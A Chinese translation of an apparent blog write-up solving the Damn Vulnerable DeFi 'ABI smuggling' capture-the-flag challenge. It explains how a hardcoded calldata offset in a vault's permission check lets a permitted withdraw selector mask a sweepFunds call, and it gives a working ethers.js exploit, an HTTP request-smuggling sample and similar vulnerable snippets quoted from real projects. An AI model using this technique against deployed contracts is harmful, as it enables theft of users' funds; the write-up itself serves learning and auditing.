DamnVulnerableDefi ABI 走私挑战攻略(附带信息图)

本文详细讲解了如何通过ABI smuggling漏洞在DamnVulnerableDefi挑战中绕过权限控制并窃取资金,利用Solidity中的calldata结构缺陷实现攻击。

这篇文章将属于一个系列,专注于对我感兴趣的 Solidity 挑战进行深入解读。

信息图解决方案的第一部分

如果你只是为了信息图而来, 这里是 。 享受吧!

目录

· 介绍

· 挑战

描述

代码

· 漏洞

ABI 和原始 calldatas

· 利用

故事的教训

有效的利用

· 具有类似问题的真实场景

Abi-Smuggler

Abi-Smuggler,基于 depositphotos.com 的库存图片

介绍

嗨!欢迎回到我另一篇教育内容。

这次我给你带来一些新的东西,或是我还未见过的解决方案,更别提这么细致的研究。我在说的就是新的 DamnVulnerableDefi 挑战,标题为 abi-smuggling

它让我想起经典的 http-smuggling 攻击,在这种攻击中,你可以将一个 HTTP 请求包裹在另一个请求中。

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

当然,我不会轻视这个标题!

因为这一次我要主要专注于详细说明攻击本身,我们不会对整个练习进行全面的深入分析。

如果因此让你失望我感到抱歉 😔,但我保证,当你理解这个漏洞所在时,你会喜欢我为你准备的图形~!

挑战

你知道的,检查一下描述 这个挑战 吧。

描述

有一个有权限的库存,存有 100 万 DVT 代币。该库允许定期提取资金,并在紧急情况下提取所有资金。

合约内嵌了通用授权机制,仅允许已知账户执行特定操作。

开发团队收到了负责任的披露,表示所有资金都可以被盗。

在为时已晚之前,从库中拯救所有资金,将其转移回恢复账户。

好的,听起来不错。

我们有一个方案,在其中我们将被授权(或未被授权)执行一些功能,并且应该以某种方式被破坏。

我们需要找出如何,以及利用这一点将所有资金从库中转移到给定的恢复账户。

代码

正如我所说,我会努力在不断强化对这一挑战的认知,这将允许我区分大部分代码并更快速地找到漏洞。

我将以简化的方式发布 SelfAuthorizedVault.sol 代码,以便使事情更简单。

注意:我正在尝试 Medium 的代码块,因此请不要在意 Solidity 代码上的 TypeScript 语法高亮。

contract SelfAuthorizedVault is AuthorizedExecutor {
    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp = block.timestamp;

    function withdraw(address token, address recipient, uint256 amount) external onlyThis {
        if (amount > WITHDRAWAL_LIMIT) {
            revert InvalidWithdrawalAmount();
        }

        if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
            revert WithdrawalWaitingPeriodNotEnded();
        }

        _lastWithdrawalTimestamp = block.timestamp;

        SafeTransferLib.safeTransfer(token, recipient, amount);
    }

    function sweepFunds(address receiver, IERC20 token) external onlyThis {
        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
        return _lastWithdrawalTimestamp;
    }

    function _beforeFunctionCall(address target, bytes memory) internal view override {
        if (target != address(this)) {
            revert TargetNotAllowed();
        }
    }
}

很不错!让我们看看我们可以如何快速排除没有漏洞的部分。

  • getLastWithdrawalTimestamp() 只是一个获取器 ✅。
  • _beforeFunctionCall() 是一个内部视图函数,它仅检查 target 不是该合约的地址 ✅。
  • sweepFunds() 看起来是最有问题的部分,因为它基本上允许将所有代币从 vault 转移到 receiver。尽管如此,它只是简单地调用 safeTransfer()solady(Solidity 性能优化片段)。这不是 OZ 的库,但很安全,相信我 ✅。
  • 剩下的则是 withdraw()。再一次,背后只有非常简单的逻辑。也使用 safeTransfer() 限制每 15 天提取 1 个 ether。因此,除非我们可以控制 🕑 block.timestamp,否则这应该是安全的 ✅。

让我们继续巡视它的父 抽象 合约 AuthorizedExecutor

由于我们仅有两个合约,我猜测漏洞在这个合约中,因此我们将其分开。

abstract contract AuthorizedExecutor is ReentrancyGuard {
    using Address for address;

    bool public initialized;

    // 操作标识符 => 允许
    mapping(bytes32 => bool) public permissions;

    function _beforeFunctionCall(address target, bytes memory actionData) internal virtual;

    function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(selector, executor, target));
    }

  // 后续代码
}

_beforeFunctionCall 在这里没有被实现,所以这部分是好的 ✅。

_getActionId() 从三个参数的组合返回 keccak256 哈希。这通过 ABI(👀)使用 encodePacked 实现。

你知道,使用 ABI 显式编码有两种方式。一种是 .encode(),另一种是 .encodePacked()。但后者有一些注意事项。

让我们用一个简单的例子来解释。如果出于某种原因你想检查编码的结果是否为 secretPassword。而且这是通过一个接收两个参数的函数进行的。

function check(string arg1, string arg2) returns (bool) external {
    return ("secretPassword" == abi.encodePacked(arg1, arg2));
}

这使得调用者可以获得大量组合来达到相同的结果。

为什么?

因为将 se 编码到 cretPassword 中,将等价于用 secretPassword 编码一个 empty 字符串,而也等价于将 secretPasswor 编码为 d。你看到了吗?

我将留给你文档中的警告,然后我将尝试通过实际代码进行解释。

要了解它们之间的区别,可以前往官方文档中的 非标准打包模式

唯一调用 getActionId 的地方在代码很前面,但看一下它的使用方式,我们可以判断我们是否可以操控其结果。

getActionId(selector, msg.sender, target)

如果我们假设能够控制 selectortarget,那么我们就无法选择 msg.sender 的 20 字节地址的大小或详细信息。

它的 (1) 正好处于中间 (2) 大小固定 (3) 我们无法完全控制其组成。

到此我当前的分析结束 ✅。

下面的代码有一个 unchecked 引起了我的兴趣。

function setPermissions(bytes32[] memory ids) external {
        if (initialized) {
            revert AlreadyInitialized();
        }

        for (uint256 i = 0; i < ids.length;) {
            unchecked {
                permissions[ids[i]] = true;
                ++i;
            }
        }
        initialized = true;

        emit Initialized(msg.sender, ids);
    }

但这只是一个时空开销的优化。它移除了越界检查,这似乎是不必要的——这条检查——因为 i 永远不会大于数组的长度,所以这是一个好的选择。

它只能被初始化一次,并且在本挑战的上下文中,它已经被初始化 ✅。

一切都显示剩下的函数 必须 是易受攻击的。否则,我们可能漏掉了什么 😅(不是第一次 😜)。

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // 读取 `actionData` 开头的 4 字节选择器
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // @audit 堆栈数据偏移 @audit-issue
        assembly {
            selector := calldataload(calldataOffset) // 从 100 字节偏移中加载 32 字节
        }

        if (!permissions[getActionId(selector, msg.sender, target)]) { // @audit 绕过这一点
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }

总的来说,这个函数使用 functionCall (扩展了 target 的功能) 来执行函数调用,当 actionData 中的函数选择器被允许(授权)给 msg.sender 时。

它表面上优化了获取 actionData 的前 4 字节选择器的方式,而不必执行类似子字符串或者位移的操作。

显然,这个函数最不透明的部分是汇编代码,尽管假设 calldataOffset 是正确的,selector 将被正确赋值。

现在你应该问自己这个问题:

我们能否假设 calldataOffset 计算正确?

漏洞

这个问题的简短答案是:不。

信息图的第二部分

如果你更偏向于视觉且认为你已经理解了这一切,可以查看 信息图,然后跳到利用部分查看有效代码。

如果你感觉需要更多上下文,继续阅读吧,我的同行黑客。

让我们看看为什么。

ABI 和原始 calldatas

首先,你需要了解 ABI 是如何工作的,至少在本场景中要达到一定程度的理解。

为此,我强烈建议你阅读并尽量理解文档中的这一部分:ABI 规范 — 函数选择器和参数编码

tl;dr 版本的上述链接说,calldata,即在交易中实际发送的数据,通过将要触发的函数选择器与所有参数连接在一起编码。

如果你想查看示例,这里有一笔随机交易,我在 Etherscan 获取的:

0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88

输入数据 部分,你可以清楚地看到以下内容:

Function: approve(address spender, uint256 amount)

MethodID: 0x095ea7b3
[0]:  000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba3
[1]:  ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

MethodID 代表 funcsig函数选择器,是函数头前 4 个字节的 keccak256,在本例中是 approve(address,uint256) 的选择器。尝试自己在 CyberChef&input=YXBwcm92ZShhZGRyZXNzLGFtb3VudCk) 试试。

因此,前 32 字节是 20 字节的 addressspender,后面 12 字节是填充以填充其余空间。接下来是批准的数量 MAX_INT2^256-1

这是一个更容易的情况,因为两个参数都是静态类型!

但是当你有 动态分配结构,例如字符串或数组时,会发生什么呢?

当有动态分配类型时,你需要在 32 字节段中指定大小、长度或数量(预期元素的数量),以便让合约了解该结构延续到何处。 随立即而来的是内容。

因此,假设我们有一个函数签名 0xcafebabe,其有两个参数:一个 bytes id 和一个 uint256 amount。如果我们以 (0x1337, 3) 的形式调用它,那么 calldata 应该看起来像这样。

0x
funcsig
bytes 偏移位置 (id)
uint256 的值 (amount)
bytes 的大小 (id)
bytes 的内容 (id)

将它们替换为实际表示形式的代码片段如下。

0x
cafebabe -> funcsig
0000000000000000000000000000000000000040 -> 0x40 = 64 字节偏移
0000000000000000000000000000000000000003 -> 3 (amount)
0000000000000000000000000000000000000004 -> 4 字节 (len(id))
0000000000000000000000000000000000001337 -> 1337 (id)

很好!既然现在一切都清楚了,那么我将直接展示我为此目的设计的一些图形。

这是当前的 calldata 布局,适用于这个挑战 execute 函数的正常执行。

信息图解决方案的第一部分截图 #1

信息图解决方案的第二部分截图 #2

但如果我们手动构造 calldata,进行原始调用,并改变 actionData bytes 结构的偏移位置会发生什么呢?💭

它将不再是硬编码的 callDataOffset 要查找的位置!

好的,好的,听我说。

如果我们将一个被允许的函数的函数选择器,如 withdraw 的 0xd9caed12,保持在预期的位置并且我们可以自由填充 actionData 呢?

概念验证的可视化

我感觉要出问题了!

利用

让我们直到目前为止,回顾一下 calldata 的布局。

我们所知道的布局

很好。现在我们只需要生成实际的 actionData 内容,它将通过 functionCall(actionData) 调用执行。

强烈依赖于对静态位置的检查的清晰可操作的 calldata 提供了一种很好的绕过权限的方法,使我们无论如何都能够执行所需的内容。在这个情况下,sweepFunds 便是用来执行此操作。

总之,为了使利用有效,我们只需要:

  1. 确保在第 100 个位置之后 (4 + 32 * 3) 的4字节中有一个管理员授权的函数选择器。在我们的例子中,player 被授权使用 withdraw
  2. 随后 actionData 的大小和内容,包含有效的 calldata (sweepFunds) 以将库存转移到恢复地址。
  3. actionData 的起点指向新位置。
  4. 用零填充之间的空间。

有效利用的布局。

这是如何开始的。

从默认的生成的 calldata 布局,到我们自己构造的布局。

最后的结果。

sweepFunds 被隐蔽在 withdrawfuncsig 后以触发旁路。

被隐蔽的

故事的教训

使用汇编与 ABI 交互都是乐趣无穷,直到有人把一个利用通过你的面前悄悄地推走。

好吧,也许有点太苛刻了。我们再试一次。

使用汇编有其注意事项,特别是在与 ABI 交互时,未经全面理解可能会带来潜在后果。

如果而不是这样做:

uint256 calldataOffset = 4 + 32 * 3;
assembly {
    selector := calldataload(calldataOffset)
}

我这样做会使这一利用无效吗?

uint256 actionDataOffset = 4 + 32;
assembly {
    selector := calldataload(calldataload(actionDataOffset)))
}

在评论中告诉我你的想法!

有效的利用

这是解决挑战的代码。

你可以在我的仓库 @mattaereal/damn-vulnerable-defi-solutions 中找到 一份更详细和注释丰富的解决方案包括我思考过程中的附加测试,我感到很曝光 😅

关于该仓库的注释:我现在正在整合 v2 解决方案与 v3 变更)。

fragment = await vault.interface.getFunction("execute");
executeFs = await vault.interface.getSighash(fragment);

vaultAddr = await ethers.utils.hexZeroPad(vault.address, 32);

fragment = await vault.interface.getFunction("withdraw");
withdrawFs = await vault.interface.getSighash(fragment);

nops = await ethers.utils.hexZeroPad("0x0", 32);

exploitOffset = await ethers.utils.hexZeroPad("0x64", 32);
exploitSize = await ethers.utils.hexZeroPad("0x44", 32);

exploit = await vault.interface.encodeFunctionData("sweepFunds", [recovery.address, token.address]);

padding = await ethers.utils.hexZeroPad("0x0", 24);

actionData = await ethers.utils.hexConcat([exploitOffset, nops, withdrawFs, exploitSize, exploit, padding])
calldata = await ethers.utils.hexConcat([executeFs, vaultAddr, actionData])

await player.sendTransaction({ to: vault.address, data: calldata })

具有类似问题的真实场景

我想感谢 @tinchoabbate 提供的以下链接,其中 非常相似 — 并非同样 — 不同于我们在此挑战中利用的漏洞也被报告过。

1. MIMOProxy:execute 中访问控制不当实现

    if (owner != msg.sender) {
      bytes4 selector;
      assembly {
        selector := calldataload(data.offset)
      }
      if (!_permissions[msg.sender][target][selector]) {
        revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);
      }
    }

2. balancer-v2-monorepo 中的 AuthorizedAdaptor.sol

assembly {
    // encoded in `data` 的函数选择器相对 msg.data 开始的位置为:
    // - 由于 performAction 的函数选择器占用 4 个字节
    // - 目标和数据的长度及偏移占用 96 字节 (3 * 32 = 96 字节)
    // 96 + 4 = 100 字节
    selector := calldataload(100)
}

// 注意:`TimelockAuthorizer` 特殊情况下调用 `AuthorizerAdaptor`,因此行动 ID
// 和目标值将被完全忽略。以下检查只有在调用者是 `AuthorizerAdaptorEntrypoint` 时会通过,
// 它已经会以相应地检查权限。
_require(_canPerform(getActionId(selector), msg.sender, target), Errors.SENDER_NOT_ALLOWED);

//我们并没有检查 `target` 是否是一个合约,因此所有对 EOA 的调用都将成功。
return target.functionCallWithValue(data, msg.value);

你看到了吗?并非所有这些都是虚构的!😲

— — —

感谢你的阅读!我叫 Matt,我在学习如何让以太坊更安全。 我将不时分享一些内容。

在推特上关注我 @mattaereal _。

  • 原文链接: medium.com/@mattaereal/d...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,在这里修改,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
mattaereal
mattaereal
江湖只有他的大名,没有他的介绍。